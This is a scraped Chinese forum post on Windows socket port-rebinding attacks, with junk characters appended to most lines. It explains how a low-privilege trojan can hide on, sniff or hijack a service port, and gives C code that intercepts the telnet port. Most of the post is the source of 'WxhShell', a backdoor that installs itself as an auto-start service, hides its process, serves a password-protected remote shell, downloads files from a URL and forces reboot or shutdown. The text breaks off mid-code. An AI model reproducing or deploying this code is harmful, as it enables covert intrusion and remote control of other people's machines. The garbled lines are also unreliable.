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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 5jQP"^g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Vr1|%*0Tv  
hN53=X:  
  saddr.sin_family = AF_INET; hn|E<  
6y_Z'@L  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); b1u'ukDP\  
% 4"~O _S  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DG\YZV4  
])L'Rk#4  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y/66`&,{  
e W)I}z +{  
  这意味着什么?意味着可以进行如下的攻击: gJxVU41  
c.Y8CD.tqL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ;8T=uCi  
~BZV:Es  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) "V0:Lq  
7 !.8#A':  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d-sh6q5  
ebe@.ZVSi  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -l@W)?$  
b=U MoWS  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 .K1E1Z_  
BDRVT Y(s  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )hW {>Y3x  
}.) 43(>]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 4_I{Q^f  
d`<^+p)oy  
  #include .GN$H>')  
  #include "EYj Y->  
  #include >Ron+ oe  
  #include    V8$bPVps  
  DWORD WINAPI ClientThread(LPVOID lpParam);   u2B W]T]  
  int main() t/WnDR/fM  
  { zlztF$Bo  
  WORD wVersionRequested; 7B\(r~f`t  
  DWORD ret; ]3,.g)U*m  
  WSADATA wsaData; r_,m\'~s !  
  BOOL val; \y`3LhY  
  SOCKADDR_IN saddr; .0E4c8R\X  
  SOCKADDR_IN scaddr; by]|O  
  int err; w LN2`ucC  
  SOCKET s; ZV]e-  
  SOCKET sc; ,(27p6!  
  int caddsize; Fg\| e%  
  HANDLE mt; \ e8*vos  
  DWORD tid;   s]vJUC,s  
  wVersionRequested = MAKEWORD( 2, 2 ); Sje0:;;|  
  err = WSAStartup( wVersionRequested, &wsaData ); `ab\i`g9  
  if ( err != 0 ) { Y0yO `W4  
  printf("error!WSAStartup failed!\n"); 5%+bWI{w  
  return -1; pb6^sA%l  
  } *tM7>  
  saddr.sin_family = AF_INET; {&E Z>r-  
   I/V )z9  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 zO5u{  
$%%>n ^??  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); )g:,_1s)|  
  saddr.sin_port = htons(23); >_aio4j}r  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) .hlQ?\  
  { QiE<[QP{g  
  printf("error!socket failed!\n"); rK QASRF5*  
  return -1; px }7If  
  } Ipz 1+ #s'  
  val = TRUE; d6@jEa-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #O9*$eMw  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) k\c &2T]W  
  { EcU'*  
  printf("error!setsockopt failed!\n"); )*K<;WI WH  
  return -1; *Iwk47J ;a  
  } EPe]-C`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NVc! g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -)O kG#J@  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 B.mbKntK)R  
]6B mCh  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *Qg5Z   
  { &:;;u\  
  ret=GetLastError(); f;Bfh3  
  printf("error!bind failed!\n"); .p(6' TYnI  
  return -1; b4)*<Zp`  
  } B221}t  
  listen(s,2); XiRT|%j  
  while(1) C9mzg  
  { ;o)=XEh8P  
  caddsize = sizeof(scaddr); C~KWH@  
  //接受连接请求 xQ#Akd=  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @4_rxu&  
  if(sc!=INVALID_SOCKET) yC'hwoQ`  
  { ;c X^8;F0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [-E{}FL|  
  if(mt==NULL) <E[HlL  
  {  ^%5~ ;  
  printf("Thread Creat Failed!\n"); J+@MzkpK  
  break; i.&Kpw9;m  
  } XSp x''l  
  } O2q=gYX>\  
  CloseHandle(mt); \]U<hub  
  } hC|5e|S  
  closesocket(s); @L[PW@:SZ  
  WSACleanup(); /lr1hW~Dbk  
  return 0; :kb1}Wu  
  }   8<yV  
  DWORD WINAPI ClientThread(LPVOID lpParam) X;OsH  
  { KUp   
  SOCKET ss = (SOCKET)lpParam; T/GgF&i3  
  SOCKET sc; \)^,PA3  
  unsigned char buf[4096]; T2 :oWjC3$  
  SOCKADDR_IN saddr; 8tLT'2+H#  
  long num; f@! fW&  
  DWORD val; i'W_;Y}  
  DWORD ret; QiTR-M2C!  
  //如果是隐藏端口应用的话,可以在此处加一些判断 abROFI5.L  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $u; >hk  
  saddr.sin_family = AF_INET; R3B5-^s  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~aJW"\{  
  saddr.sin_port = htons(23); YY#s=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) - E8ntY-  
  { !,? <zg  
  printf("error!socket failed!\n"); &RK H2R  
  return -1; }osHA`x"2  
  } ?W[J[cb  
  val = 100; Qp kKVLi  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) &'5@azU  
  { t} *l?$`  
  ret = GetLastError(); q_<*esZ,  
  return -1; yu`KzIU  
  } gp~yt0AU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) c*x J=Gz6d  
  { QKp+;$SE'  
  ret = GetLastError(); g08*}0-k  
  return -1; qri}=du&F  
  } eJU;*] xfH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .'t (-eT,  
  { Ku<b0<`  
  printf("error!socket connect failed!\n"); gYTyH.  
  closesocket(sc); 2{A;du%&  
  closesocket(ss); rc;7W:  
  return -1; (3 IZ  
  } R'Kt=.s<  
  while(1) &mN'Tk  
  { k $e D(cW$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 y z[%MXI  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 +1otn~(E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 = EQN-{#  
  num = recv(ss,buf,4096,0); w^06z,  
  if(num>0) \%sPNw=e  
  send(sc,buf,num,0); &Ki> h  
  else if(num==0) DMF?5GX  
  break; J[ e}  
  num = recv(sc,buf,4096,0); F&=I7i  
  if(num>0) ; cGv] A+  
  send(ss,buf,num,0); E2^ KK:4s  
  else if(num==0) Uc_jQ4e_  
  break; y;Qy"-)qb  
  } ^cYStMjpy  
  closesocket(ss); h&)fu{   
  closesocket(sc); <Z{vC  
  return 0 ; iuiAK  
  } z-n>9  
R[x7QlA;  
rHvF%o  
========================================================== _Zh2eXWdjM  
4bP13f  
下边附上一个代码,,WXhSHELL 2]L=s3  
(C,e6r Y  
========================================================== U(U@!G)  
&Fw[YGJayz  
#include "stdafx.h" `TUZZz  
'S =sj}X  
#include <stdio.h> 1TKEm9j]u  
#include <string.h> $aB /+,  
#include <windows.h> <f%ujrX  
#include <winsock2.h> TqIAWbb&  
#include <winsvc.h> "gFxfWIA  
#include <urlmon.h> s(Z(e %  
YTQ5sFuGM  
#pragma comment (lib, "Ws2_32.lib") j]r XoV>  
#pragma comment (lib, "urlmon.lib") /+>)"D6'  
ZTN(irK  
#define MAX_USER   100 // 最大客户端连接数 &|)hCJu  
#define BUF_SOCK   200 // sock buffer $j57LY|r  
#define KEY_BUFF   255 // 输入 buffer js~tKUvg  
F"!agc2!  
#define REBOOT     0   // 重启 \Ke8W,)ew  
#define SHUTDOWN   1   // 关机 yH*hL0mO  
T YYp"wx  
#define DEF_PORT   5000 // 监听端口 G 0hYFc u  
@&;(D!_&  
#define REG_LEN     16   // 注册表键长度 Z+ixRch@-s  
#define SVC_LEN     80   // NT服务名长度 vkJ)FEar  
M)L/d_4ka  
// 从dll定义API Kl{-zX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zG_p"Z7,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); _}D%iJg#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); KE<kj$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .Y;b)]@f  
yH^f\u0  
// wxhshell配置信息 :pRF*^eU  
struct WSCFG { +#4]o }6G  
  int ws_port;         // 监听端口 tv0Ha A  
  char ws_passstr[REG_LEN]; // 口令 T=WNBqKo]  
  int ws_autoins;       // 安装标记, 1=yes 0=no UH[<&v  
  char ws_regname[REG_LEN]; // 注册表键名 uKv&7p@|_)  
  char ws_svcname[REG_LEN]; // 服务名 hi!`9k  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %dc3z"u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 .;9jdGBf  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *.oKI@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~/2g)IS  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {;*}WPYb  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]bm=LA  
"f4<B-9<$  
}; a5|@R<iF  
NetYg]8`  
// default Wxhshell configuration ^=^$tF  
struct WSCFG wscfg={DEF_PORT, _K'7(d0z  
    "xuhuanlingzhe", .jA\f:u#  
    1, TjxA#D)   
    "Wxhshell", L1sqU-gt  
    "Wxhshell", $/+so;KD  
            "WxhShell Service", } ~| k  
    "Wrsky Windows CmdShell Service", ^-hErsK  
    "Please Input Your Password: ", @D~B{Hg  
  1, ,9d9_c.T  
  "http://www.wrsky.com/wxhshell.exe", /%!~x[BeJ>  
  "Wxhshell.exe" e'34Pw!m  
    }; Pe}PH I  
u^=`%)  
// 消息定义模块 T?n -x?e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WWNu:,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kx:jI^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?R|th Z  
char *msg_ws_ext="\n\rExit."; W m . }Zh  
char *msg_ws_end="\n\rQuit."; }x:0os  
char *msg_ws_boot="\n\rReboot..."; -p`L% xj\  
char *msg_ws_poff="\n\rShutdown..."; A?8\Y{FQ  
char *msg_ws_down="\n\rSave to "; *t(4 $  
wO7t!35  
char *msg_ws_err="\n\rErr!"; 4/'N|c.  
char *msg_ws_ok="\n\rOK!"; XV>@B $hu  
'Dath>Y=  
char ExeFile[MAX_PATH]; }$&xTW_  
int nUser = 0; 6V1:qp/6  
HANDLE handles[MAX_USER]; $e }n  
int OsIsNt; l'6d4 DZ  
!77NG4B  
SERVICE_STATUS       serviceStatus; ^z~~VBv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +6l]]*H  
H=p`T+  
// 函数声明 -R0/o7  
int Install(void); w^HjZV  
int Uninstall(void);  Qqc]aVRF  
int DownloadFile(char *sURL, SOCKET wsh); O-#TZ   
int Boot(int flag); ?,)"~c$hZ  
void HideProc(void); XN#&NT{t}  
int GetOsVer(void); + BL{@,zr  
int Wxhshell(SOCKET wsl); $ J1f.YE  
void TalkWithClient(void *cs); -:<lkq&/  
int CmdShell(SOCKET sock); [|RjHGf  
int StartFromService(void); | kXm}K  
int StartWxhshell(LPSTR lpCmdLine); };b1ahaG  
irKIy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 1$pb (OK  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bcH_V| 5}  
U]R~gy}#  
// 数据结构和表定义 Zgamd1DJ[l  
SERVICE_TABLE_ENTRY DispatchTable[] = })Yv9],6  
{ P`(Mk6gE  
{wscfg.ws_svcname, NTServiceMain}, 6B" egYv  
{NULL, NULL} 0 )}$^TV  
}; X(*!2uS  
L(G92,.  
// 自我安装 8Lz]Z h=ZU  
int Install(void) B{MaMf)  
{ V5p0h~PK  
  char svExeFile[MAX_PATH]; jVWK0Zba  
  HKEY key; qf#)lyr<D6  
  strcpy(svExeFile,ExeFile); poT&-Ic[  
(=u'sn:s  
// 如果是win9x系统,修改注册表设为自启动 94/BG0  
if(!OsIsNt) { )8,|-o=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7K;!iX<d  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @?k J).  
  RegCloseKey(key); #_JYh?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )nfEQ)L;h}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Am"(+>W21  
  RegCloseKey(key); YcDe@Zuwn  
  return 0; @S^ASDuQU7  
    } {ci.V*:"  
  } wTc)S6%7  
} j:,9%tg  
else { !*{q^IO9v&  
.0p^W9  
// 如果是NT以上系统,安装为系统服务 N|usFqCNk^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); N ( Oyi  
if (schSCManager!=0) "_1)CDqP  
{ J G$Z.s  
  SC_HANDLE schService = CreateService G~,:2 o3  
  ( WsGths+[  
  schSCManager, li oc`C:  
  wscfg.ws_svcname, Dw6fmyJ:  
  wscfg.ws_svcdisp, F3M aqr y  
  SERVICE_ALL_ACCESS, "i^ GmVn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ravyiO L  
  SERVICE_AUTO_START, aZS7sV28  
  SERVICE_ERROR_NORMAL, !&^gaUa{  
  svExeFile, A7Po 3n%Q  
  NULL, vB\]u.  
  NULL, !l@zT}i??  
  NULL, 7[pBUDA  
  NULL, neZ.`"LV  
  NULL u]*0;-tz  
  ); % Zjdl  
  if (schService!=0) <0P5 o|  
  { 8\.b4FNJ  
  CloseServiceHandle(schService); Yk!/ow@.  
  CloseServiceHandle(schSCManager); tc+WWDP#"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I\O\,yPhhP  
  strcat(svExeFile,wscfg.ws_svcname); 3uWkc3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4?\:{1X=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 49H+(*@v@  
  RegCloseKey(key); !69&Ld  
  return 0; zi@]83SS#  
    } cVnJ^*Z  
  } qet>1<  
  CloseServiceHandle(schSCManager); 8^/I>0EZ  
} sgUud_r)4  
} *ISZlR\#  
KLWn?`  
return 1; }_9,w;M$  
} 942lSyix  
=q7Z qP  
// 自我卸载 j=RRfFg)  
int Uninstall(void) o\b-_E5"?  
{ 2_^aw[-  
  HKEY key; ]:M0Kj&h  
: rMM4  
if(!OsIsNt) { MRNNG6TUs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `F YjQ e"p  
  RegDeleteValue(key,wscfg.ws_regname); W !w,f;  
  RegCloseKey(key); dP?Ge}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fxaJZz$o  
  RegDeleteValue(key,wscfg.ws_regname); Z<[<n0o1  
  RegCloseKey(key); \JEXX4%  
  return 0; m,i,n9C->  
  } pKiZ)3U  
} N["W I r  
} nAIo{ F  
else { s#~GH6/  
YHkcWz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); E>'a,!QPv  
if (schSCManager!=0) c/N@zum,{  
{ "5R~(+~<@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D"(L5jR8m@  
  if (schService!=0) 3<?   
  { X|f7K  
  if(DeleteService(schService)!=0) { ]V l]XT$Um  
  CloseServiceHandle(schService); vX0f,y  
  CloseServiceHandle(schSCManager); &s Pq<lo  
  return 0; zi R5:d3   
  } #6Fez`A  
  CloseServiceHandle(schService); RqEH| EUZ  
  } B~]5$-  
  CloseServiceHandle(schSCManager); Qd}m`YW-f$  
} )a 9 ]US^  
} >(uZtYM\j  
y&}E~5O  
return 1; *4+3ObA  
} Vtc36-\1*  
*_a@z1  
// 从指定url下载文件 {"oxJ`z4  
int DownloadFile(char *sURL, SOCKET wsh) g VQjL+_W  
{ Nkxm m/Z  
  HRESULT hr; 0"2=n.##  
char seps[]= "/"; m(RXJORI  
char *token; *n" /a{6>  
char *file; UcBe'r}G  
char myURL[MAX_PATH]; \PDd$syDA  
char myFILE[MAX_PATH]; NI#X @  
NH$r Z7$  
strcpy(myURL,sURL); \^ghdU  
  token=strtok(myURL,seps); Dd;Nz  
  while(token!=NULL) ]f+ csB  
  { 8Ac)'2t;U  
    file=token; Bm&kkx.9P  
  token=strtok(NULL,seps); ~|<WHHN (  
  } O+g3X5f+  
~gB>) ]  
GetCurrentDirectory(MAX_PATH,myFILE); S*j6OwZ  
strcat(myFILE, "\\"); IDnC<MO>  
strcat(myFILE, file); 'smWLz}  
  send(wsh,myFILE,strlen(myFILE),0); 8} =JKR^cK  
send(wsh,"...",3,0); ? A(QyaKz  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xX*H7#  
  if(hr==S_OK) wP[t0/dl  
return 0; !vG'J\*xc  
else WVVJ  
return 1; f|O{#AC  
o-}R?>  
} :ba5iMa  
2M# r]  
// 系统电源模块 3nZo{p:E  
int Boot(int flag) ,%\o4Rc'o  
{ \ [a%('}  
  HANDLE hToken; aW>6NDq(  
  TOKEN_PRIVILEGES tkp; bh^LIU  
,-7R(iMd  
  if(OsIsNt) { =-_B:d;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %f($*l.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jqPkc28  
    tkp.PrivilegeCount = 1; =bEda]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; I\YV des#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PO 6&bIr  
if(flag==REBOOT) { m0v:\?S:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) &f&z_WU  
  return 0; J_s>N  
} <.Nx[!'~&d  
else { ZDbc  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) rn<PR*  
  return 0; #1>X58I^  
} @)Ofi j  
  } ]T%rjsN  
  else { T49zcJf;  
if(flag==REBOOT) { 4;2< ^[M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,"B+r6}EF  
  return 0; Iu$K i  
} lP<:tR~K  
else { '` pDngX  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <~ Sz04  
  return 0; qWmQ-|Py  
} YW{C} NA  
} dd]/.Z  
lsJnI|  
return 1; !?|Th5e   
} CiB%B`,N  
s`0QA!G{-  
// win9x进程隐藏模块 rF]h$Z8o  
void HideProc(void) qh`t-  
{ XLH0 ;+CL{  
]CoeSA`j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &L^+BQ`O?  
  if ( hKernel != NULL ) TY1I=8  
  { qAw x2fPu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); fFc/ d(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Uw 47LP  
    FreeLibrary(hKernel); St e=&^  
  } qHxqQ'ks;  
q5?# 3T=  
return; JU4q zi  
} ^k]XEW{PG  
*hw\35%P`?  
// 获取操作系统版本 b[`Yi1^]%g  
int GetOsVer(void) b j'Xg  
{ >uSy  
  OSVERSIONINFO winfo; ';<0/U  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xXM{pd  
  GetVersionEx(&winfo); utIX  %0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Nqu>6^-z0  
  return 1; e d<n9R  
  else ]w.;4`l*  
  return 0; 78/Zk}I]  
} [D!jv "  
^/r7@:  
// 客户端句柄模块 m@^1JlH  
int Wxhshell(SOCKET wsl) DCZ\6WY1G)  
{ gM _hi  
  SOCKET wsh; t2l S ~l)  
  struct sockaddr_in client; RO.k]x6  
  DWORD myID; o#skR4lwe  
Rb.SY{}C  
  while(nUser<MAX_USER) g[3)P+  
{ 9^j &V mF  
  int nSize=sizeof(client); !P -^O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~m$Y$,uH  
  if(wsh==INVALID_SOCKET) return 1; )gMG#>up@  
~P@Q7T*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ypy68_xyW  
if(handles[nUser]==0) PS[+~>%  
  closesocket(wsh); PbmDNKEh{  
else S;)w.  
  nUser++; 6Aku1h  
  } -q*i_r:,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); } q$ WvY/  
=F@W gn,  
  return 0; LbkF   
} GSRVe/ [  
!7kG!)40  
// 关闭 socket O)jWZOVp >  
void CloseIt(SOCKET wsh) ,]d,-)KX8  
{ f` ;j:O  
closesocket(wsh); uB]b}"+l  
nUser--; VSSu &Q  
ExitThread(0); bdc&1I$  
} s#WAR]x0x  
bLwAXW2K+  
// 客户端请求句柄 iB498t  
void TalkWithClient(void *cs) lMBLIB]i  
{ ^3UGV*Ypk  
2'W<h)m)z  
  SOCKET wsh=(SOCKET)cs; >Vwc3d  
  char pwd[SVC_LEN]; k<" oiCE  
  char cmd[KEY_BUFF]; aP/T<QZ~  
char chr[1]; rsy'q(N[  
int i,j; F 9@h|#an  
sn)3Z A  
  while (nUser < MAX_USER) { 6=fSE=]DY  
 m5r7  
if(wscfg.ws_passstr) { v^1pN>#%g  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BDjn !3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ayfFVTy1d  
  //ZeroMemory(pwd,KEY_BUFF); &8vCZN^  
      i=0; < Pky9o;  
  while(i<SVC_LEN) { MZT23 [+  
6Q${U7%7  
  // 设置超时 y$_eCmq  
  fd_set FdRead; "\3B^ e,  
  struct timeval TimeOut; "t~  
  FD_ZERO(&FdRead); ;oy-#p>N%  
  FD_SET(wsh,&FdRead); Y9&,t\ q  
  TimeOut.tv_sec=8; rl #p".4q  
  TimeOut.tv_usec=0; o !vE~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); rv|)n>m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]{ntt}3G,  
50o~ P!Lz|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <psZQdH  
  pwd=chr[0]; .n~M(59  
  if(chr[0]==0xd || chr[0]==0xa) { AD|2q M))  
  pwd=0; ~x ]jB  
  break; 70eb]\%  
  } <c2'0I >  
  i++; Z\k&gio5C^  
    } \Hn>oonph  
\Ol kM<  
  // 如果是非法用户,关闭 socket _t Yx~J2.Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BS:+~|3w  
} yge,8i)c  
{o.FlX  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); U 15H2-`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '2[albxSc  
 O4og?h>  
while(1) { y9>ZwYN  
~2gG(1%At9  
  ZeroMemory(cmd,KEY_BUFF); XBp?w  
j'MO(ev  
      // 自动支持客户端 telnet标准   &3n~ %$#N  
  j=0; HBu[gh;b  
  while(j<KEY_BUFF) { LdL/399<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wwr;-Qa}g  
  cmd[j]=chr[0]; w tiny,6  
  if(chr[0]==0xa || chr[0]==0xd) { i:OK8Q{VI  
  cmd[j]=0; 6jC`8l:  
  break; Bg|5KOnd  
  } Aj+2;]M  
  j++; V7Ek-2M  
    } '.81zpff  
SAyufLEv,  
  // 下载文件 V0P>YQq9s  
  if(strstr(cmd,"http://")) { kNobl  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); IVA mV!.z  
  if(DownloadFile(cmd,wsh)) =AEBeiz  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?B}{GL2)  
  else $h*L=t(  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8n*.).33  
  } &L,nqc\3D5  
  else { O8j_0  
z <##g  
    switch(cmd[0]) { -T[lx\}  
  ^$'z!+QRM  
  // 帮助 Jc|6&  
  case '?': { ]]oI#*c  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7aQc=^vaZ  
    break; +h r@#n4A  
  } no9;<]4  
  // 安装 &GB:|I'%7  
  case 'i': { 9*{[buZX  
    if(Install()) Wb?8j M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hKT  
    else YTexv;VNb|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T<55a6NoK  
    break; 4DL)rkO  
    } Cc%LztP>  
  // 卸载 rU2%dkTa  
  case 'r': { K"4>DaK2P  
    if(Uninstall()) ck.w 5|$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \v.C]{Gzc  
    else (K)]qNH  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Te<}*qvD  
    break; L>SjllY  
    } +ayos[<0#  
  // 显示 wxhshell 所在路径 urMG*7i <c  
  case 'p': { ecCr6)  
    char svExeFile[MAX_PATH]; VBcy9|lD  
    strcpy(svExeFile,"\n\r");  ng_^  
      strcat(svExeFile,ExeFile); y*tZ !m2Gg  
        send(wsh,svExeFile,strlen(svExeFile),0); C ihAU"  
    break; /p+>NZ"b  
    } ~1W x =  
  // 重启 -8j+s}Q  
  case 'b': { ,u`YT%&L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,z-}t& _t  
    if(Boot(REBOOT)) K%F,='P}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $0lD>yu  
    else { MBhWMCN2  
    closesocket(wsh); nysUZB  
    ExitThread(0); OVhE??#  
    } 9/ibWa\.  
    break; r?Wk<>%>  
    } .xH5fMj,"  
  // 关机 /iJ4{p   
  case 'd': { c%'RR?Tl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %|oJ>+  
    if(Boot(SHUTDOWN)) k|lcc^[0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }DK7'K  
    else { :=/>Vbd: )  
